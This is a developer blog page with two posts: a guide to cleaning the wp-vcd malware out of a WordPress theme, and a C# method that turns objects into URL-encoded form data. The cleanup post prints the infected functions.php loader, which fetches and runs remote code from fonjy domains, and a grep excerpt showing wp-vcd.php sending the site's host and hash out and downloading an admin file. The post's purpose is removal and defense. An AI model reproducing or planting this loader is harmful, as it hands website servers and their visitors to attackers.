Code Optimization

Interesting things in software development and code optimization

PHP Theme and malware

Hello,


Today I have found a way to clean-up one of a PHP Theme that pops-up ads from time to time on your website.

so just in case anyone will look for the same problem solving - here what I did for it:

- in my case it created wp-tmp.php file under the theme folder so I searched for the file name inside of each file:

grep --include=*.php -rn . -e "wp-tmp.php"

it will show you something like that:

./wp-content/themes/betheme/functions.php:106:                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:108:                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:109:                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:110:                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:111:                        @file_put_contents('wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:123:                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:125:                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:126:                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:127:                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {

./wp-content/themes/betheme/functions.php:128:                        @file_put_contents('wp-tmp.php', $tmpcontent);

./wp-content/themes/betheme/functions.php:133:        } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

./wp-content/themes/betheme/functions.php:136:        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

./wp-content/themes/betheme/functions.php:139:        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

btw, do not forget to delete all wp-tmp.php files :)

- after that open the functions.php file and remove the following lines:

$wp_auth_key='ee10bb8873fd72fe5d1585ebddeeae7e';
        if (($tmpcontent = @file_get_contents("https://www.fonjy.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.fonjy.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("https://www.fonjy.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif (($tmpcontent = @file_get_contents("https://www.fonjy.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.fonjy.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        }

in my case it was starting on 101 line number.

- now run the following command:
grep --include=*.php -rn . -e "fonjy"
and you should get something similar to:
./wp-includes/wp-vcd.php:83:						$content = @file_get_contents('https://www.fonjy.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);

./wp-includes/wp-vcd.php:84:						@file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('https://www.fonjy.cc/admin.txt'));

./wp-includes/wp-vcd.php:88:						$content = @file_get_contents('https://www.fonjy.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);

./wp-includes/wp-vcd.php:89:						@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('https://www.fonjy.cc/admin.txt'));

I removed the wp-vcd.php file completely and the class.wp.php as well (even it was in 0 size)


Now it should not return back to you website anymore (do not forget to remove 777 permission everywhere)


Thank you for reading it and see you

1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y



C#, Json and PHP Form

Today, I had a task to submit data to an PHP API that takes Json data via HTTP POST using ContentType "application/x-www-form-urlencoded" and format like:

order[phone]=+48733552233&order[name]=First Name Last Name&order[deliveryCost]=50&order[deliveryStockCode]=39931b80-e1c2-11e3-8c4a-0050568002cf&order[comment]=test api&orderItems[0][itemID]=194559-0&orderItems[0][salePrice]=9500&orderItems[0][count]=2&orderItems[1][itemID]=071402-0&orderItems[1][salePrice]=750&orderItems[1][count]=5&key=777777777777777

Hah, crazy right? I have never seen such crazy things before and I had no chance except just take it and create myself.

Google did help me a little bit but in my case there were arrays of objects so I had to modify and extend a code I did find on internet.

So, to transform this:


                    var json = new
                    {
                        key = apiKey,
                        order = new
                        {
                            phone = PhoneNumber,
                            name = LastName + " " + FirstName,
                            comment = Comment,
                            deliveryCost = Math.Round(OrderItems.Sum(s => s.AdditionalShippingCharge), 0, MidpointRounding.ToEven).ToString(),
                            deliveryStockCode = Address
                        },
                        orderItems = OrderItems.Select(s => new
                        {
                            itemID = s.ProdId,
                            salePrice = Math.Round(s.Price, 0, MidpointRounding.ToEven),
                            count = s.Quantity
                        }).ToArray()
                    };

into the form data like I shown before, here is my method (it is rough so I'm sure it is not perfect but I had no time to create it cool and clean and may be will re-write it in the future).


Also, in my case , there were anonymous types so it had to identify them somehow, but as you may know already, anonymous types in C# has no explicit and compilation time type declaration to get its typeof().


        public string JsonToHttpFormString(object request, string separator = ",")
        {
            if (request == null)
                throw new ArgumentNullException("request");

            // Get all properties on the object
            var properties = request.GetType().GetProperties()
                .Where(x => x.CanRead)
                .Where(x => x.GetValue(request, null) != null)
                .ToDictionary(x => x.Name, x => x.GetValue(request, null));

            // Get names for all IEnumerable properties (excl. string)
            var propertyNames = properties
                .Where(x => !(x.Value is string) && ((x.Value is IEnumerable) || (x.Value != null && x.Value.GetType().IsConstructedGenericType && x.Value.GetType().Name.Contains("AnonymousType"))))
                .Select(x => x.Key)
                .ToList();

            // Concat all IEnumerable properties into a comma separated string
            bool isAnonym = false;
            foreach (var key in propertyNames)
            {
                var valueType = properties[key].GetType();
                var valueElemType = valueType.IsGenericType
                                        ? valueType.GetGenericArguments()[0]
                                        : valueType.GetElementType();

                isAnonym = valueType.Name.Contains("AnonymousType");
                if (valueElemType.IsPrimitive || valueElemType == typeof(string) || isAnonym)
                {
                    var enumerable = properties[key] as IEnumerable;
                    if (isAnonym && !valueType.IsArray)
                    {
                        List<string> tempvs = new List<string>();
                        var item = properties[key];
                        // Get all properties on the object
                        var properties2 = item.GetType().GetProperties()
                            .Where(x => x.CanRead)
                            .Where(x => x.GetValue(item, null) != null)
                            .ToDictionary(x => x.Name, x => x.GetValue(item, null));

                        foreach (var kkey in properties2)
                        {
                            var valueType2 = kkey.GetType();
                            var valueElemType2 = valueType2.IsGenericType
                                                    ? valueType2.GetGenericArguments()[0]
                                                    : valueType2.GetElementType();

                            if (valueElemType2.IsPrimitive || valueElemType2 == typeof(string))
                            {
                                tempvs.Add(HttpUtility.UrlEncode(key + "[" + kkey.Key + "]") + "=" + HttpUtility.UrlEncode(kkey.Value.ToString()));
                            }
                        }

                        properties.Remove(key);
                        properties.Add(string.Join("&", tempvs), string.Empty);
                        tempvs.Clear();
                        tempvs = null;
                    }
                    else if (isAnonym && valueType.IsArray)
                    {
                        int i = 0;
                        List<string> tempvs = new List<string>();
                        foreach (var item in enumerable)
                        {
                            // Get all properties on the object
                            var properties2 = item.GetType().GetProperties()
                                .Where(x => x.CanRead)
                                .Where(x => x.GetValue(item, null) != null)
                                .ToDictionary(x => x.Name, x => x.GetValue(item, null));

                            foreach (var kkey in properties2)
                            {
                                var valueType2 = kkey.GetType();
                                var valueElemType2 = valueType2.IsGenericType
                                                        ? valueType2.GetGenericArguments()[0]
                                                        : valueType2.GetElementType();

                                if (valueElemType2.IsPrimitive || valueElemType2 == typeof(string))
                                {
                                    tempvs.Add(HttpUtility.UrlEncode(key + "[" + i + "][" + kkey.Key + "]") + "=" + HttpUtility.UrlEncode(kkey.Value.ToString()));
                                }
                            }
                            i++;
                        }
                        properties.Remove(key);
                        properties.Add(string.Join("&", tempvs), string.Empty);
                        tempvs.Clear();
                        tempvs = null;
                    }
                    else
                    {
                        properties[key] = string.Join(separator, enumerable.Cast<object>());
                    }
                }
            }

            // Concat all key/value pairs into a string separated by ampersand and remove trailing '='
            string res = string.Join("&", properties
                .Select(x => string.Concat(
                    string.IsNullOrEmpty(x.Value.ToString()) ? x.Key : HttpUtility.UrlEncode(x.Key), "=",
                    HttpUtility.UrlEncode(x.Value.ToString())).TrimEnd('='))).TrimEnd('=');

            return res;
        }


Also, it has to do URL encoding to get properly formatted data for form submission style and os we finally could get something like that:

order%5Bphone%5D=%2B+44+%28733%29+55-22-33& order%5Bname%5D=%D0%98%D0%BC%D1%8F+%D0%BF%D0%BE%D0%BB%D1%83% D1%87%D0%B0%D1%82%D0%B5%D0%BB%D1%8F& order%5BdeliveryCost%5D=50&order%5BdeliveryStockCode%5D=39931b80-e1c2-11e3-8c4a-0050568002cf& order%5Bcomment%5D=test+api&orderItems%5B0%5D%5BitemID%5D=194559-0&orderItems%5B0%5D%5BsalePrice%5D=9500&orderItems%5B0%5D%5Bcount%5D=2& orderItems%5B1%5D%5BitemID%5D=071402-0&orderItems%5B1%5D%5BsalePrice%5D=750&orderItems%5B1%5D%5Bcount%5D=5&key=777777777777777


Thank you for reading and see you :)




1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y